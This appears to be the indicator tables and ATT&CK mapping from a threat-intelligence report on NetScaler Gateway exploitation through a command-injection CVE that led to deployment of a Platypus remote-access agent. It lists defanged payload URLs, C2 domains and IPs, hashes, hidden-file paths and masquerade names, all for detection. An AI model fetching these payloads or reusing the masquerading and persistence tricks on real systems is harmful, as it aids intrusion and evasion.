Hxxp[:]//31[.]56[.]197.72/lula |
URL |
One of the exploit payloads |
|
Hxxp[:]//31[.]56[.]197.72:9090/lula |
URL |
One of the exploit payloads |
|
hxxp[:]//62[.]133.62.80[:]80/xd7h/x |
URL |
One of the exploit payloads |
|
Entretiensol[.]com |
Domain |
Hosts the platypus server to generate agents and control hosts remotely |
|
195[.]123.233.245 |
IP |
Malicious source exploiting servers |
|
62[.]133.62.80 |
IP |
Hosting the malicious script |
|
31[.]56.197.72 |
IP |
Hosting one of the malicious payloads |
|
hxxps[:]//entretiensol[.]com:443/api/v1/install/ |
URL |
Used to generate an agent binary |
|
white-guard[.]pro |
Domain |
Platypus ingress on the same IP as entretiensol[.]com; REG.RU-registered 4 June 2026 |
|
gurerasfalt[.]com |
Domain |
Shares Platypus ingress cert thumbprints; Namecheap batch of 20 August 2026 |
|
garyvard[.]com |
Domain |
Shares Platypus ingress cert thumbprints; Namecheap batch of 20 August 2026 |
|
hickoryusedauto[.]com |
Domain |
Shares Platypus ingress cert thumbprints; Namecheap batch of 20 August 2026 |
|
38[.]180.81.157 |
IP |
Resolution for gurerasfalt[.]com |
|
104[.]200.67.56 |
IP |
Resolution for garyvard[.]com |
|
95[.]133.231.109 |
IP |
Resolution for hickoryusedauto[.]com |
|
hxxps://entretiensol[.]com/v1/artifacts/<os>/<arch>/latest |
URL pattern |
Agent download; darwin/arm64, freebsd/amd64, windows/amd64 and linux/amd64 observed |
|
hxxps://entretiensol[.]com/api/v1/agents/enroll.5 |
URL |
Agent enrollment endpoint |
|
hxxps://entretiensol[.]com/api/v1/install/dl_d3giforcdfgc5hqurluy.ctzlc5tkt3w6p5flcmnq?download_tls=insecure |
URL |
Second install URL observed on the staging host |
|
hxxps://195[.]123.233.245/submit.php |
URL |
Form-submission handler on the C2 host |
|
hxxps://195[.]123.233.245/pixel.gif |
URL |
Tracking pixel on the C2 host |
|
_platypus-mesh._tcp |
mDNS service |
Agent mesh peer discovery |
|
Value |
Type |
Description |
|
ns.log |
Log |
NetScaler log containing requests that can be used to generate detections |
|
auth.log |
Log |
Checks for authentications to the NetScaler devices, and can be used to identify suspicious account access |
|
sh.log |
Log |
Shows shell commands being run on the devices |
|
Httpaccess-vpn.log |
Log |
Show web requests destined to the NetScaler devices |
|
X |
Script |
Downloader script used to grab and install the platypus agent from a remote site |
|
.ns_09343.pl |
ELF |
Platypus Agent used for remote monitoring and management |
|
/var/tmp/.ns_data |
Directory |
Used as the data directory for the platypus agent |
|
ns_827664.pl |
ELF |
Platypus agent, second appliance masquerade filename |
|
/netscaler.local/ |
Directory |
Install directory, second appliance |
|
/var/core/.ns-cache/ |
Directory |
Data directory, second appliance |
|
agent.lock |
File |
Instance lock written by the agent, holds the PID |
|
client.crt, state.db |
Files |
Agent trust material and state in the data directory |
|
/var/cron/tabs |
Directory |
Persistence location to review for added crontab entries |
|
# ... self-persistence); do not edit |
String |
Marker in watchdog and wrapper scripts written by selfpersist |
|
System Health Monitor, healthd, system-health, health-monitor, node-health, sys-health |
Service/identity names |
selfpersist masquerade table |
|
Value |
Type |
Description |
|
|
c98aee75c5e199c9b5527984ce48675d665963f7cab8ce9f2e82465de6b58727 |
SHA-256 |
FreeBSD agent, ELF x86-64, Go, unpacked, 18,612,396 bytes |
|
|
0dcac605a3a0c37001552369a6a77003226b35ddee7710b554fcd0e6809a76d1 |
SHA-256 |
Windows agent as delivered, PE32+ x86-64, UPX 4.22, 5,438,464 bytes |
|
|
3754689fafacd2ff1c50781de2027afb1a736f9dadf48767afe560fc0f10a6f0 |
SHA-256 |
Windows agent, unpacked, 19,414,528 bytes |
|
|
927c7fbef2e620c1ce482c3ed67ebf53da97693c1d6c7552c77aec84ba982cf8 |
SHA-256 |
Bootstrap installer, POSIX shell script, 7,645 bytes |
|
|
Value |
Type |
Description |
|
43311300529d031058895820fb79fb15afa171bb |
SHA-1 cert thumbprint |
Active CN=platypus-ingress cert, valid 2026-09-28 to 2026-10-28, on all five domains |
|
e75699b342f4d1650ac2958b082d9f71beb73f93 |
SHA-1 cert thumbprint |
Prior ingress cert, seen 2026-09-05 |
|
a8ff7a3154533f5b7af3a7be455e9ac6b9923bff |
SHA-1 cert thumbprint |
Prior ingress cert, seen 2026-09-02 |
|
40d40d40d00000000043d43d00043dabadbb43f9614a00c843a4ecd074ab81 |
JARM |
TLS server fingerprint for 195[.]123.233.245 |
|
E401CB3138B193E7C236EC7DD8B239BA |
Cert serial |
Ingress CA embedded in both bootstrap scripts |
|
826097A54C1A3A4D9514329C1762924E |
Cert serial |
Project CA embedded in both bootstrap scripts |
|
Platypus project b51a65e0-e20b-444d-950e-8ff34b88c472 |
Cert CN |
Project CA common name |
|
S8GEj/Ibzw/Zy9Z5u4saQyn0h59enf9Mk3J2m70tTMs= |
Ed25519 public key |
Plugin-signing key baked into both agents via ldflags |
|
<redacted> |
Enrollment token |
First appliance, single-use |
|
<redacted> |
Enrollment token |
Second appliance, single-use |
|
0.1.0-SNAPSHOT-4b91c7db / 4b91c7db061615827f2d333bae4ffe10ddcbb199 |
Build version / commit |
Fork build identity, both agents |
|
Technique |
ATT&CK label |
Status |
Case mapping |
|
T1595.002 |
Active Scanning: Vulnerability Scanning |
Observed |
Reconnaissance probes against the Gateway vservers |
|
T1588.002 |
Obtain Capabilities: Tool |
Observed |
The threat actor pulled external capabilities directly from a threat actor operated command and control server (entretiensol[.]com). |
|
T1190 |
Exploit Public-Facing Application |
Observed |
CVE-2026-88771 log poisoning through the Gateway username field; attempted against IN-VPX1 without success |
|
T1059.004 |
Command and Scripting Interpreter: Unix Shell |
Observed |
Execution of arbitrary OS-level commands with root privileges via the injection flaw. Injected command executed as root by ns_monuploadd_err.pl |
|
T1105 |
Ingress Tool Transfer |
Observed |
The threat actor used curl to download scripts and tools to the servers |
|
T1071.001 |
Application Layer Protocol: Web Protocols |
Observed |
HTTP and HTTPS retrieval of the downloader, bootstrap, and agent |
|
T1036.005 |
Masquerading: Match Legitimate Name or Location |
Observed |
Agent named .ns_09343.pl to resemble a NetScaler script |
|
T1070.006 |
Indicator Removal: Timestomp |
Observed |
Agent modified time copied from a neighboring legitimate file |
|
T1564.001 |
Hide Artifacts: Hidden Files and Directories |
Observed |
/.x, /var/tmp/.ns_09343.pl, /var/tmp/.ns_data |
|
T1219 |
Remote Access Tools |
Attempted |
Platypus agent delivered and launched; not identified as operational |
|
T1573.002 |
Encrypted Channel: Asymmetric Cryptography |
Capability |
Agent configured for mutual TLS with embedded CAs; channel not identified |
|
T1552.001 |
Unsecured Credentials: Credentials in Files |
Capability |
Configuration secrets readable by root; access not observed |
|
T1046 |
Network Service Discovery |
Capability |
Peer-discovery module in the agent; not observed in use |